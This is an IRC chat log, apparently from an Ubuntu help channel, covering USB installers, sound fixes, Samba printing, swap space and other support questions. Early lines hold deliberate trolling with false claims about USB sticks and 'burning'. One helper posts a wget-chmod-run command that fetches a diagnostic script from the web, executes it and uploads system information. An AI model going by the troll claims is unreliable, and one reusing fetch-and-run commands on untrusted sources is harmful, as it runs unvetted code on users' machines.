[12:10] <ActionParsnip> SuperbXA: then make a CD or USB stick and install
[12:10] <SuperbXA> how do i make a usb stick
[12:10] <SuperbXA> dont they make those at the factory
[12:10] <ActionParsnip> SuperbXA: use unetbootin in windows
[12:11] <SuperbXA> unetbootin?
[12:11] <SuperbXA> whats that?
[12:11] <ActionParsnip> SuperbXA: you use a usb stick with the ubuntu iso and make a bootable usb stick
[12:11] <ActionParsnip> SuperbXA: unetbootin is an application, search for it. The web can tell you a lot
[12:11] <SuperbXA> ok after i connect the blank usb what do i do then
[12:11] <Emery> SuperbXA, do you have the usb plugged into your cd drive ?
[12:12] <ActionParsnip> SuperbXA: run unetbootin and point the application to the previously downloaded ubuntu ISO file
[12:12] <SuperbXA> how do i plugin a usb into a cd drive? is that even possible
[12:12] <ActionParsnip> SuperbXA: it will put the data on to the USB stick and make it bootable
[12:12] <SuperbXA> hold on ill try to force it in there
[12:12] <ActionParsnip> SuperbXA: then burn the ISO to a CD
[12:12] <SuperbXA> i dont think the usb is going to fit into the cd rom though
[12:12] <SuperbXA> but ill try, one sec
[12:13] <ActionParsnip> SuperbXA: it wont, you will need a CD which you can make with the same ISO and a blank CD
[12:13] <Emery> SuperbXA, you can only burn onto blank USBs
[12:13] <SuperbXA> wait how do i close the cdrom once the usb is in?
[12:13] <ActionParsnip> Emery: there is no burning, usb storage is magnetic
[12:13] <Emery> is  it ?
[12:13] <Emery> i thought you burnt onto usb
[12:13] <SuperbXA> burn? i dont want my computer to burn
[12:13] <Emery> :S
[12:13] <ActionParsnip> Emery: yes, so what 'burning' happens?
[12:13] <Emery> i just heard someone say
[12:13] <SuperbXA> wait ubuntu burns your system?
[12:13] <Emery> i burnt an iso onto my usb
[12:13] <SuperbXA> flames and all?
[12:13] <ActionParsnip> SuperbXA: its how you put data on a CD, it uses an intense laser to etch the surface
[12:13] <green_geeky_dude> o_O is someone doing a windup?
[12:14] <SuperbXA> oh
[12:14] <SuperbXA> so you mean i download and install it onto the usb
[12:14] <Emery> SuperbXA, do you have a zip drive ?
[12:14] <Emery> it might work on there
[12:14] <SuperbXA> then put it into hte cd rom?
[12:14] <ActionParsnip> Emery: you didnt. The data was copied. There is no burning. CDs are burned as a more intense laser s used to modify the dye on the disk to represent the data
[12:14] <Emery> ActionParsnip, I prefer 'burning to usb'
[12:14] <ActionParsnip> Emery: magnetic media isnt burned, that's my point
[12:15] <Emery> 'burning to usb'
[12:15] <ObrienDave> silly person, you WRITE to an USB
[12:15] <Emery> is fine
[12:15] <Emery> why would you write on a usb stick ?
[12:15] <SuperbXA> i dont have a drive that zips should i ahve one
[12:15] <Emery> that doesnt get the iso on there
[12:15] <SuperbXA> i have usb stick
[12:15] <ActionParsnip> Emery:unetbootin simply extracts the data and copies it to the storage, just like if you were putting images onto the stick
[12:15] <glambert> can you "su mysql"?
[12:15] <glambert> or run a script as the mysql user?
[12:15] <ObrienDave> *full moon*
[12:15] <ActionParsnip> Emery: do you burn pictures to a usb stick too?
[12:15] <Emery> so an iso is burnt on usb ?
[12:15] <SuperbXA> ok so once i have ubuntu on the usb what do i do
[12:16] <SuperbXA> OHHHH
[12:16] <ActionParsnip> Emery: its not, its copied.  Is taht all you need? seriously?
[12:19] <Emery> no ActionParsnip ipcofig not ifconfig
[12:19] <ActionParsnip> Emery: its the same
[12:19] <Emery> you spelt it wrong
[12:19] <cfhowlett> *spelled*
[12:19] <ActionParsnip> Emery: in Linux it is ifconfig
[12:20] <ActionParsnip> Emery: in Windows it is ipconfig
[12:20] <Emery> is it ?
[12:20] <ActionParsnip> cfhowlett: in UK English, spelt is correct and both are acceptable
[12:20] <ActionParsnip> EmLeX: try it
[12:20] <k1l> ActionParsnip: dont mind the troll. he got lots of bantracker files
[12:20] <ActionParsnip> k1l: i have time to kill :)
[12:21] <cfhowlett> ActionParsnip, :)  OK ... and here I thought "spelt" was a type of grain ...
[12:21] <glambert> now that the trolls have buggered off, is it possible to run commands as the mysql user?  when I run "su mysql" it does nothing
[12:22] <glambert> I'm logged in as root btw
[12:22] <ActionParsnip> cfhowlett: yeah it confuses AMericans so they use the latin base but spelt is fine in UK English where English originats from :)
[12:22] <ObrienDave> I understood 'spelt'. i'm american LOL
[12:24] <ActionParsnip> http://oxforddictionaries.com/definition/english/spelt :)
[12:24] <BluesKaj> ActionParsnip:  i recall "spelt" in grade school spelling was incorrect , here in Canada.
[12:25] <ObrienDave> that's because Canada is a commonwealth ;))
[12:25] <glambert> mysql:x:103:107:MySQL Server,,,:/nonexistent:/bin/false
[12:25] <glambert> is /bin/false the reason I can't su to mysql?
[12:26] <BluesKaj> nope it used to be a Dominion , ActionParsnip , but don't ask me to define it :) . and part of the commonwealth still .
[12:26] <glambert> nevermind, got it
[12:27] <theahindle> Howdy I have two ubuntu 12.04 LTS boxes, one setup, one brand new. I need the brand new one, to be the same as the one that's setup. Is this the right thing to use? dump -0 -f - / | ssh -c blowfish root@target_machine "cd /; restore -rf -"
[12:27] <theahindle> Will that not cause issues with things that are already running, replacing /usr/bin/sshd with a new one or something?
[12:30] <dv-> theahindle: it should unless you restart sshd
[12:30] <ghostknife> I have a old hardy dev server on which i want to install a package, but the repositories no longer contain hardy packages. Are there any archive repositories I can use?
[12:30] <Nephro> why is Ubuntu server installer looking for some cd rom and failing to find it? (installing from usb drive)
[12:32] <bazhang> Nephro, check your sources.list
[12:32] <ActionParsnip> Nephro: you have the CD referenced as a package source in /etc/apt/sources.list
[12:32] <Nephro> umm
[12:32] <ActionParsnip> Nephro: comment it out and then it will not be needed
[12:32] <jpds_> bazhang / ActionParsnip: Installer, not system.
[12:32] <Nephro> how do I do that again if I am in the installer?
[12:32] <k1l> ghostknife: you should step to another still supported LTS release (10.04 or better 12.04)
[12:33] <Kartagis> any idea why google-chrome would run youtube videos at twice their speed audio-wise?
[12:33] <jpds_> ghostknife: That machine must be so old; you're better off installing a new version on it.
[12:34] <ActionParsnip> Kartagis: what is the output of:  cat /etc/issue
[12:35] <Kartagis> Ubuntu 13.04 \n \l
[12:35] <ActionParsnip> Kartagis: have you tried:   killall pulseaudio; rm -r ~/.config/pulse*     wait 10 seconds then reboot?
[12:35] <Kartagis> nope
[12:35] <Kartagis> let me try
[12:42] <hojgaard> I need some help on my print server. I've set up a print server with raspberry pi and samba, and it works perfectly with windows machines, but with Ubunut i cannot print?
[12:42] <ActionParsnip> hojgaard: on the clients, if you run:  smbtree    do you see the printer share?
[12:43] <almostworking> anyone tell me how i can make unity stop maximizing my windows when i move them?
[12:43] <ActionParsnip> almostworking: disable the grid plugin in ccsm
[12:43] <ActionParsnip> hojgaard: can the clients ping the server?
[12:43] <Kartagis> ActionParsnip: that seems to have fixed it, thanks
[12:44] <hojgaard> ActionParsnip, Yes i see it perfectly. \\RASPRINT\hp1020 under WORKGROUP
[12:44] <ActionParsnip> Kartagis: its the first thing I advise for sound issues
[12:44] <hojgaard> ActionParsnip, yes, the connectivity is perfect...
[12:44] <ActionParsnip> hojgaard: can you ping rasprint ok?
[12:44] <ghostknife> k1l, jpds_: reinstalls are planned and will happen in the next 3 or so months. for the time being however I'd really like to get librrd4 and dependencies on there. so an archive repo would be ideal
[12:44] <ActionParsnip> hojgaard: ok thats good
[12:45] <ActionParsnip> hojgaard: in the printer setup if you use the search printers, does it show?
[12:45] <k1l> ghostknife: there are the historic repos. but be aware that there is no support and that this is a huge security issue
[12:45] <k1l> !eol | ghostknife
[12:45] <almostworking> ccsm ActionParsnip ?
[12:46] <ActionParsnip> almostworking: yes, ccsm
[12:47] <Kartagis> thanks ActionParsnip
[12:48] <Nephro> why do I just get a grub command line when I try to install ubuntu server from a usb drive created by the ubuntu bootable usb creator
[12:48] <Nephro> ?
[12:48] <ActionParsnip> Kartagis: I also believe it is in the sound troubleshooting procedure doc
[12:48] <ActionParsnip> Nephro: did you MD5 test the ISO you downloaded?
[12:48] <Nephro> ActionParsnip, nope
[12:48] <Nephro> i never do
[12:48] <almostworking> ActionParsnip: i dont know what ccsm is.
[12:48] <ActionParsnip> Nephro: then how do you know the ISO was complete and error free?
[12:49] <hojgaard> ActionParsnip, It is something with the authentication.. I see it when i search... But when i add the printer it says: ree connect failed (NT_STATUS_ACCESS_DENIED)
[12:49] <ActionParsnip> almostworking: install compizconfig-settings-manager   then run it
[12:49] <ActionParsnip> hojgaard: run:  sudo smbpasswd -a $USER
[12:49] <ActionParsnip> hojgaard: you can then add the username and password when you map the printer
[12:49] <hojgaard> ActionParsnip, on the server?
[12:50] <almostworking> ahh, ok thank you ActionParsnip .......
[12:50] <ActionParsnip> hojgaard: yes, you are making a samba credential
[12:50] <ActionParsnip> almostworking: if you run 'ccsm' in terminal, it would have told you that.....
[12:51] <almostworking> i did a apt search on ccsm, and didnt get what i needed so ihad to ask.
[12:51] <almostworking> unity is new to me
[12:51] <ActionParsnip> almostworking: its a COmpiz plugin which has been default for a LOT of releases
[12:52] <hojgaard> ActionParsnip, i think i need the samba-common-bin for that, right?
[12:52] <almostworking> all distros i have used are debian stable based, still are for desktop,  solusos , crunchbang etc.  im old school.
[12:53] <ActionParsnip> hojgaard: for what?
[12:54] <ActionParsnip> almostworking: all the way bck to Gutsy in 2007 used Compiz
[12:54] <hojgaard> ActionParsnip, the command smbpasswd is not found at least and i install samba-common-bin, and now it works...
[12:55] <ActionParsnip> hojgaard: then install it, may help with the auth thing
[12:55] <almostworking> yea, but ive never been much for wobbly windows etc.  .... esp with the ton of compiz choices , im still looking for what i need .
[12:58] <rtcg72a> Hi, I am running Ubuntu 12.04 LTS from an Windows Wubi install. I am not able to change the screen brightness and changing the settings in grub doesn't work. What can I do? My laptop is Toshiba Portege T130.
[12:58] <ActionParsnip> almostworking: i see
[12:59] <universal> no audio | ubuntu 13.04
[12:59] <ActionParsnip> almostworking: http://www.linlap.com/toshiba_satellite_t130
[12:59] <ActionParsnip> universal: does the system have a make and model?
[13:00] <universal> HP Pavilion G6-1200TU
[13:00] <ActionParsnip> universal: what is the output of: wget -O alsa-info.sh http://www.alsa-project.org/alsa-info.sh && chmod +x ./alsa-info.sh && ./alsa-info.sh --upload
[13:00] <ActionParsnip> universal: why did you not add the make and model in the initial question?
[13:00] <BluesKaj> !wubi | rtcg72a
[13:00] <universal> ActionParsnip: i thought it was not important, only os was imp.
[13:01] <ActionParsnip> universal: no because the sound chips inside and so forth will be different to other lpatops won't they
[13:01] <universal> ActionParsnip: hmm...yea
[13:01] <ActionParsnip> universal: also some laptops (especialy Acers) have weird ACPI implementations which need to be appreciated
[13:01] <universal> so should I go with that command ?
[13:01] <ActionParsnip> universal: a laptop is a very complex piece of kit
[13:01] <universal> lol yea
[13:02] <ActionParsnip> universal: so yes, the make and model is useful
[13:02] <universal> k
[13:02] <universal> so should I go with that command ?
[13:02] <ActionParsnip> universal: run the command in a terminal and a URL will be generated, what is it please
[13:02] <BluesKaj> rtcg72a:  wubi is no longersupported after 12.04 OS , you might be better off to use Virtual Machine like VB or VMwate
[13:02] <ActionParsnip> BluesKaj: really?
[13:02] <bejker> hi. anyone know what is going on when i hange screen refresh screen is moving and smaler?
[13:03] <Woomla> gconf-editor is not showing up in 12.04, what to do now?
[13:03] <bejker> change*
[13:03] <ActionParsnip> http://www.omgubuntu.co.uk/2013/04/wubi-unlikely-to-be-in-ubuntu-13-04-windows-users-lose-out
[13:03] <ActionParsnip> ayy happy days
[13:03] <ActionParsnip> Woomla: is it not dconf-editor
[13:04] <Woomla> ActionParsnip: no it's gconf-editor
[13:04] <Woomla> ActionParsnip: it appears in the Alt+F2 list
[13:04] <ActionParsnip> Woomla: run it in a terminal, it will tell you the package to install
[13:04] <universal> ActionParsnip: http://www.alsa-project.org/db/?f=37ab75ae3bdfcaf589835eefd85e94fa4aa0e618
[13:04] <ActionParsnip> Woomla: it also may give clues
[13:05] <cfhowlett> BluesKaj, confusing.  I thought and stated as much only to be told that wubi, like Dracula, had risen from the grave again.
[13:05] <ActionParsnip> universal: have you ran updates yet, your kernel is a bit behind
[13:06] <ActionParsnip> universal: sudo apt-get update; sudo apt-get upgrade; sudo apt-get dist-upgrade
[13:06] <BluesKaj> cfhowlett:  could be , but that's the first I've heard of any wubi resurrection
[13:06] <Woomla> ActionParsnip: tx, after sudo gconf-editor, message: not found; after gconf-editor, message not installed. After install, Alt+F2 also shows icon!
[13:06] <cfhowlett> BluesKaj, I still vote the for the silver bullet, oak stake, holy water and salt in coffin disposition.
[13:07] <BluesKaj> cfhowlett:  :)
[13:07] <Someoneelse> I use Xubuntu on my netbook already and am returning to Ubuntu after a few years with mint on my desktop but 12.04 or 13.04. Opinions appreciated.
[13:07] <ActionParsnip> Woomla: dont run GUI apps with sudo, you will break your OS
[13:07] <ActionParsnip> Woomla: use gksudo
[13:07] <hojgaard> ActionParsnip, i have almost the same error: NT_STATUS_ACCESS_DENIED opening remote spool
[13:07] <ActionParsnip> Woomla: you also want to edit your user's settings, so sudo is not appropriate anyway
[13:08] <cfhowlett> Someoneelse, 12.04 is supported for 5 years, 13.04 ... not.
[13:08] <universal> ActionParsnip: No, but it always worked before....why is it not working now ? also I did ps aux | grep audio......Output - root      1849  0.0  0.0      0     0 ?        S<   12:08   0:00 [hd-audio0] ubuntu    2656  0.0  0.0 272980  3756 ?        S<l  12:08   0:00 /usr/bin/pulseaudio --start --log-target=syslog ubuntu    4509  0.6  0.0 351380  4968 ?        S<l  12:09   0:21 /usr/bin/pulseaudio --start --log-target=syslog
[13:09] <Someoneelse> Yep cfhowlett thats why I am leaning towards 12
[13:09] <cfhowlett> Someoneelse, my experience using LTS only:  fresh install every 2 years, update && dist-upgrade in between keeps my system humming like a top.
[13:09] <almostworking> Someoneelse: LTS for the win
[13:10] <Someoneelse> :) That is encouraging Thanks
[13:10] <Woomla> ActionParsnip: tx, any doc on why to use gksudo?
[13:11] <trafalgar> morning gents
[13:11] <cfhowlett> trafalgar, greetings: 21:12 here in Beijing.
[13:12] <Woomla> trafalgar: lol, 15:12 in Amsterdam
[13:12] <guus_> I am creating an USB installer, it is already 5 minutes at 99%, this is normal?
[13:12] <universal> !ubuntu-offtopic
[13:13] <guus_> http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-ubuntu
[13:13] <guus_> this is the steps I followed
[13:13] <guus_> Creating ext2 filesystem
[13:13] <guus_> This the message installer gives me (99%)
[13:13] <cfhowlett> guus_, yes that's normal.  the last minutes of installing look uncomfortably like it froze.  Keep an eye on it as your administrative password is required for some stuff.
[13:14] <cfhowlett> guus_, ext2?  why?  ext4 is the default?
[13:14] <guus_> I have no idea why ext2 means
[13:14] <clue_h> it's a file system , ext4 is the newer version
[13:14] <guus_> I just downloaded ubuntu
[13:15] <guus_> or its my USB?
[13:15] <cfhowlett> guus_, you selected it.  the default filesystem is ext4.  more stable and improved safety.  strongly suggest you reinstall with ext 4
[13:15] <guus_> Not formatted properly?
[13:15] <guus_> Where did I click it, in creating the USB installer?
[13:15] <cfhowlett> guus_, correct
[13:15] <cfhowlett> guus_, right during the setup.
[13:16] <guus_> I did exactly this steps http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-ubuntu
[13:16] <csengstock> hey .. i compiled a deb package using checkinstall. The app is python2.7.5. I used "python" as package name (accidentially) and it was installed. Now the debian package system tells me about wrong dependencies to python .. need python (<<2.7). I am able to remove all the python2.7.5 files (they are in /usr/local/...). However, can i remove the package manually from the dpkg system without breaking something?
[13:16] <guus_> no where it mentioned ext?
[13:16] <trafalgar> Can someone explain what happened with the Ubuntu forums login? I logged in after the site came back and set a new password, but it still seemed like I was not logged in. The only options for logging in being the SSO login at the top right.
[13:16] <guus_> I other words, when I do this steps again, most likely it will make ext2 again
[13:17] <trafalgar> When I log in that way, it accepts it but my username shows a s a random string I have never seen
[13:17] <DJones> D008
[13:17] <DJones> Grr, wrong window
[13:18] <guus_> cfhowlett, where do I set ext4?
[13:18] <Gentoo64> is this just for a live ubuntu on usb?
[13:18] <cfhowlett> guus_,  just select defaults all the way and you'll be fine
[13:18] <guus_> I will plug in a brand new 32GB stick (formatted fat32 I think)
[13:18] <ObrienDave> guus_, ext4 is not needed for a USB stick
[13:19] <cfhowlett> !ext4
[13:19] <guus_> I am creating an USB installer
[13:19] <guus_> No where did I change any defaults
[13:19] <guus_> it gave me ext2 as default
[13:19] <Gentoo64> just leave it if its only an installer
[13:19] <guus_> (for the USB stick)
[13:19] <Gentoo64> doesnt really matter
[13:19] <guus_> Okay thanks
[13:20] <clue_h> guus_, i take it you are only making a bootable usb stick to boot from to then install Ubuntu onto your machine, during the install process choose ext4. the format of the usb stick in my opinion should be as the guide says
[13:20]  * guus_ bows deeply, thanks, turning off machine, and will boot from USB stick
[13:20] <guus_> yes, thanks clue_h
[13:22] <almostworking> anyone here setup thinkpad fingerprint scanner ?   many how tos and ways of doing this via google
[13:27] <p1l0t> So I'm running this off a virtual disk, a wubi install basically and I am at 28.2/30GB so I need to do something. I never use windows ever and it's a 1TB HD so I want to create like an iso or something from root.disks or whatever it is, format the 1TB completely and load this image on there so I don't have to reinstall everything again. I backup all my data but there are just so many packages to reinstall so that's why I want
[13:29] <cfhowlett> p1l0t, for the record, wubi is not and never was intended for long term installation.  It's a testing tool only.
[13:29] <LucidGuy> Anyone know if there is a way to manually adding a .deb to a local apt-mirro repor?
[13:29] <LucidGuy> repo
[13:30] <p1l0t> cfhowlett: Ah well I meant to do a dual-boot... I should have figured it out when it would only allow 30GB..
[13:31] <cfhowlett> p1l0t, I've read that there's a wubi/transfer/clone procedure, but as I understand it, the actual outcome is less than pristine.  I'd seriously recommend you back up the data and clean install.
[13:32] <p1l0t> cfhowlett: Yeah the data is all backed up, and I will do it again to make sure it's only like 1 minute old.
[13:32] <cfhowlett> p1l0t, download your ISO (12.04 LTS is my suggestion) and install away then.
[13:33] <p1l0t> cfhowlett: WILCO (have to wait till everybody leaves though)
[13:34] <rsajdok_> Jaką wybrać wersj Ubuntu na thinkpad x22 ?
[13:35] <hylian> lovely, someone was trying to gain access to my account here.
[13:35] <DJones> !pl | rsajdok_
[13:35] <rsajdok_> Próbuje lubuntu 12.04 alternate ale zatrzymuje się w momencie wyboru języka, sugestie?
[13:35] <hylian> after upgrading to 12.04.3, xubuntu no longer remembers my brightness settings. i have to adjust the brightness with every login.
[13:38] <universal> ActionParsnip: upgrade and dist-upgrade is taking a long time....any other shorter way ? if I can kill or remove that audio process and re-start or re-load it ? kill, rmmod and modprobe ? also how to only update kernel and not full os ?
[13:39] <universal> kernel or only audio driver ?
[13:45] <peetaur> Hi. I have an issue with debconf. If I set some selections for the keyboard layout, and then run noninteractive dpkg-reconfigure keyboard-configuration, then all my settings get overwritten, and the layout becomes Afghani instead of what I set. What am I doing wrong? Here's my serverfault question http://serverfault.com/questions/539911/setting-debconf-selections-for-keyboard-configuration-fails-layout-ends-up-as
[13:47] <ActionParsnip> universal: they are taking a long time as you have not updated
[13:47] <ActionParsnip> they will take as long as they take
[13:47] <BruceS> using  encrypted home file system for the first time.  Things like ls seem deathly slow - is this an issue of the encrypted system?  I have always done full disk encryption in the past and seen no slow down
[13:47] <ActionParsnip> universal: you should always be sure you are fully updated before reporting issues as updates fix issues and may fix the issue without having to even ask
[13:48] <paranoidi> can someone explain why my ext4 fs shows 42GB used with df even when I just moved everything off from it. There are no open files and lost+found is empty. du -s shows used space 20kb
[13:48] <ActionParsnip> paranoidi: hidden files?
[13:48] <cfhowlett> paranoidi, hidden files/.trash
[13:49] <peetaur> paranoidi: lsof -Pn /path/to/fs/ | grep deleted
[13:49] <DJones> paranoidi: How big is the drive? Ubuntu will typically reserve 5% of the disk space for operating system use
[13:50] <peetaur> paranoidi: deleted files are not freed up on disk until files are closed
[13:51] <santiago> holaaa....
[13:51] <cfhowlett> !es
[13:51] <paranoidi> no hidden files, no open files (lsof)
[13:52] <santiago> exit
[13:52] <santiago> jjejejejejeej!!!
[13:53] <paranoidi> Reserved block count:     0
[13:53] <paranoidi> filesystem was created without reserved space
[13:55] <WebbyIT> System requirement for Ubuntu is  megabytes of RAM? Seriously?
[13:55] <WebbyIT> https://help.ubuntu.com/13.04/installation-guide/i386/ch03s04.html
[13:57] <peetaur> WebbyIT: upgrade your PC... ram is cheap
[13:58] <WebbyIT> peetaur, my PC has 6GB of ram, but I'm surprised that Ubuntu requires only 64mb
[13:59] <DJones> WebbyIT: That did look a bit out of date, this seems to be the current recommendations https://help.ubuntu.com/community/Installation/SystemRequirements
[14:00] <WebbyIT> DJones, thanks
[14:01] <peetaur> WebbyIT: oh, well yeah it really isn't much for a basic server install... a dns server, for example could run with 70 MB. But your desktop will need far more.
[14:04] <Twinkletoes> Icinga is now at version 1.9.1, but in the repo for Squeeze, it only shows 1.7.1-6.  How do I fidn out which base version of icinga the Squeeze package is built from?
[14:06] <ActionParsnip> Twinkletoes: have you tried to find a PPA
[14:07] <Twinkletoes> what's a ppa?
[14:07] <h00k> !ppa | Twinkletoes
[14:07] <ActionParsnip> Twinkletoes: in Squeeze, this is Ubuntu support, not Debian
[14:07] <bananapie> If a software opens too many files, which log file would have error messages É
[14:07] <Twinkletoes> I'll stick with the repo version, but just wondered if 1.7.1-6 had 6 updtaes since 1.7.1 was officially released or something like that
[14:08] <ActionParsnip> Twinkletoes: this is Ubuntu suport, ask in #debian please
[14:08] <Twinkletoes> Oops, sorry - thought I'd joined debian!
[14:08] <chrisTr87> hi
[14:08] <ActionParsnip> !debian
[14:08] <ActionParsnip> :)
[14:08] <Twinkletoes> ActionParsnip: Thanks for the tip :)
[14:08] <lpapp> hi, is this intentional that the /etc/apache2/sites-available/default file contains "allow" instead of "Allow" at one place for the ubuntu apache installation?
[14:08] <Twinkletoes> lpapp: I don't think it matters
[14:08] <Twinkletoes> lpapp: I just use whatever case-style makes more sensible reading for me
[14:09] <lpapp> Twinkletoes: but it is mixed even in that file.
[14:09] <Twinkletoes> lpapp: I know
[14:09] <chrisTr87> I need some help, I'm starting with my thesis and need to get information about how ubuntu detects usb devices, I was searching for something at the internet, but I wasn't successful yet. Maybe I was searching for the wrong things, but that's why I wanted to ask here
[14:09] <lubse> I'm installing ubuntu on a new 250GB SSD right now, I wish to install (maybe) windows later on the same SSD
[14:09] <lubse> I'm installing ubuntu on a new 250GB SSD right now, I wish to install (maybe) windows later on the same SSD
[14:09] <lubse> I created 3 primary partitions
[14:10] <lubse> this is okay?
[14:10] <FloodBot1> lubse: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[14:10] <chrisTr87> can someone help me here at this one?:)
[14:10] <Twinkletoes> chrisTr87: could you work brackwards from lsusb?
[14:11] <chrisTr87> sorry I'm just working with ubuntu for some months now, I need to learn some things at this one too :)
[14:11] <Twinkletoes> lubse: I'd get Windows to create its partitions (you don't actually have to do the install), then install Linux on another partition
[14:12] <ActionParsnip> lubse: leave unpartitioned space and install windows to it later, its a lot easier to install windows first as the windows installer will blindly overwrite grub on the mbr
[14:12] <lubse> Twinkletoes: right now I need to install ubuntu
[14:12] <Twinkletoes> lubse: If you install Windows AFTER installing linux, it will completely write over your bootloader code
[14:12] <lubse> I have no windows installer lying around
[14:12] <lubse> But I think as default ubuntu installed on entire 250GB
[14:12] <Twinkletoes> lubse: In that case just create a partition for Windows, but beware, you'll need to write grub again after you install Windows *when you get to it)
[14:13] <ActionParsnip> lubse: if you are installing newer windows versions they use2 partitions, so I'd put the Ubuntu insatll on an extended partition and leave free space for WIndows to use
[14:13] <chrisTr87> twinkletoes: do you have tips for me where I should get started?:)
[14:13] <lubse> Right, I leave non-partitioned space, instead of creating partitions
[14:13] <lubse> will ubuntu make a swap partition automagically ?
[14:13] <AcidRain2012> my website has been attacked again >_>
[14:13] <Twinkletoes> chrisTr87: Not really, only that by looking at the source for lsusb, it might give you some ideas
[14:13] <MrQuist> how about changing the admin/admin to something else AcidRain2012
[14:13] <chrisTr87> ok thank you :)
[14:13] <ActionParsnip> lubse: it can do but as you are doing more than the default you will need to make your own
[14:13] <AcidRain2012> MrQuist, what admin/admin?
[14:14] <lubse> ActionParsnip: do I need one?
[14:14] <Twinkletoes> lubse: I don't think so, just give it a 2GB partition - I don't think you'll need any more, reardelss of how much memory you have
[14:14] <lubse> I have 32GB RAM
[14:14] <Twinkletoes> lubse: I reckon you won't *need* one
[14:14] <chrisTr87> Twinkletoes: seems like a good idea :) I was just looking for lsusb
[14:14] <lubse> okay, thanks
[14:15] <Twinkletoes> lubse: With that amoutn of RAM, if you're going to be running out, you want to get some more, not mess around swapping stuff to disk and back
[14:16] <Twinkletoes> chrisTr87: check out usbutils
[14:16] <ActionParsnip> lubse: yes, if you run out of RAM the swap will be used. You also need it if you wantto hibernate or suspend etc
[14:16] <ActionParsnip> lubse: if you do not need suspend / hibernate then you won't need it.
[14:16] <bryguy_> gvfs isn't mounting my iphone, anyone else seeing this problem recently? iphone 4s, ubuntu 13.04
[14:16] <chrisTr87> Twinkletoes: ok thanks, I think this should be good or not? https://github.com/gregkh/lsusb
[14:17] <ActionParsnip> lubse: a home desktop pc with 32gb is enough
[14:17] <bryguy_> i've dried the usual device pairing and nautilus solutions
[14:17] <Twinkletoes> chrisTr87: I'm not a programmer - good luck!"
[14:17] <lubse> ActionParsnip: I don't like hibernate, but why I can not suspend without swap space?
[14:17] <boneslash> lubse: PC with 32 will be old enough after 20 years I think :D
[14:17] <boneslash> gb
[14:17] <lubse> How big a swap space I need to suspend (sleep)?
[14:17] <ActionParsnip> lubse: the RAM is written to swap when you hibernate etc
[14:18] <chrisTr87> chrisTr87: I am :) so I will try to understand it :) I know it's bad that I didn't use Ubuntu earlier as an informatics student...
[14:18] <lubse> ActionParsnip: yes, with hibernate, but what about suspend? (I never hibernate for this reason)
[14:18] <ActionParsnip> lubse: not sure, if it just stops then you should be ok. I'd look at how the OS manages the 2 etc. Its not something I use
[14:19] <lubse> I'd like my computer to sleep after 30 minutes of idle time
[14:19] <lubse> I often leave home without turning off the computer
[14:19] <Twinkletoes> lubse: This might help: http://en.wikipedia.org/wiki/Sleep_mode
[14:20] <chrisTr87> oops :D
[14:20] <chrisTr87> Twinkletoes: I am :) so I will try to understand it :) I know it's bad that I didn't use Ubuntu earlier as an informatics student...
[14:20] <chrisTr87> thats what i wanted lol
[14:20] <ActionParsnip> lubse: then you should be ok without, thats just a screensaver and low power mode
[14:21] <chrisTr87> Twinkletoes: thanks for helping me, I need to go away for some minutes. I will try to get information about this, if you're interested in I can tell you if I found something
[14:21] <Twinkletoes> chrisTr87: It's ok thanks - it won't mean much., but if you would liek to share... please do!
[14:21] <chrisTr87> Twinkletoes: sure :) bye
[14:29] <Wiz_KeeD> is anyone here aware of a pdf editor software for ubuntu?
[14:30] <Twinkletoes> Wiz_KeeD: Inkscape will do PDF editing, most of the time
[14:30] <Twinkletoes> Wiz_KeeD: AS will GIMP
[14:30] <Wiz_KeeD> Inkscape, thank you! What are the cases when it fails or what does add complications?
[14:30] <Wiz_KeeD> GIMP? really ? :))
[14:31] <Twinkletoes> Wiz_KeeD: I dunno how it fails, it has to convert the PDF first... bes tthing is to try it and see how you go... is ok 95% of the time for me
[14:31] <Twinkletoes> Wiz_KeeD: Gimp: http://www.wikihow.com/Edit-PDF-Files-in-Linux-Using-GIMP
[14:32] <Twinkletoes> Wiz_KeeD: There are others listed here, too: http://www.cyberciti.biz/tips/open-source-linux-pdf-writer.html
[14:32] <ActionParsnip> !info pdfedit
[14:32] <ActionParsnip> awww
[14:32] <Wiz_KeeD> I wonder where I can set a virtual machine to install and test all of these, I'm done making test-runs on my local system that is now stable and working
[14:33] <wessel> I just installed ubuntu, the first 2 times after I restart my PC ubuntu starts in a black and white window (shell)
[14:33] <Twinkletoes> http://sourceforge.net/projects/pdfedit/
[14:33] <wessel> Now finally it starts in GUI, but I don understand why...
[14:33] <Twinkletoes> Wiz_KeeD: Use Virtual Box
[14:33] <ikonia> Wiz_KeeD: I don't fully understand why you don't/can't use supported software from ubuntu package managment
[14:33] <ikonia> Wiz_KeeD: I don't fully see why you need to keep getting these things that cause a risk to your system - and why you keep going knowing they cause a risk to your system
[14:34] <Wiz_KeeD> I can, but installing and uninstalling more than 4-5 softwares i'm not that comfortable with, unless I really need them
[14:34] <DrFaustus> hi
[14:35] <ikonia> Wiz_KeeD: why not more research, more caution
[14:35] <Wiz_KeeD> Always good ikonia, indeed
[14:35] <ikonia> Wiz_KeeD: and to be honest, you're using the ubuntu package manager, what's the problem uinstallting software you don't need/want ?
[14:35] <Guest20717> hi guys, i have been trying to edit, my /usr/environment file using nano on console login screen and it is as if i don't have rights to do this,  even when i was using root user, what can i do, i can not login into my normal ubuntu since when i try, am redirected to the same login screen, is there a way i can manipulate the files to achieve this, am currently using a live booted mint dvd to access my hard drive files and use apps like irc
[14:35] <Wiz_KeeD> Yes it should be trusted but there can be glitches every now and then if you're installing and testing multiple ones
[14:35] <ikonia> Guest20717: are you the same person who updated /etc/enviornment for JAVA and their PATH
[14:36] <ikonia> Wiz_KeeD: no - there isn 't
[14:36] <DrFaustus> listen,i've just formatted and resized /dev/sdd1,/dev/sdb 5
[14:36] <ikonia> Wiz_KeeD: there are no glitches, this is the point of using the ubuntu package manager
[14:36] <Guest20717> ikonia, yes please
[14:36] <Wiz_KeeD> hmm
[14:36] <ikonia> Guest20717: can you show me your path from /etc/environment
[14:36] <DrFaustus> nor,the paste option is deactivared foe these volumes
[14:37] <Wiz_KeeD> ikonia, do you think you can help out with the wireless driver and try to fix it once and for all? Or should I try like a fix, workaround to make the broadcast on boot and see the wireless networks?
[14:37] <ActionParsnip> Guest20717: is the file system read only?
[14:37] <DrFaustus> how xan i activate it?
[14:37] <ikonia> Wiz_KeeD where are you getting these fixes/workarounds
[14:37] <Wiz_KeeD> i'm not, i was just assuming, and asked if it can be done
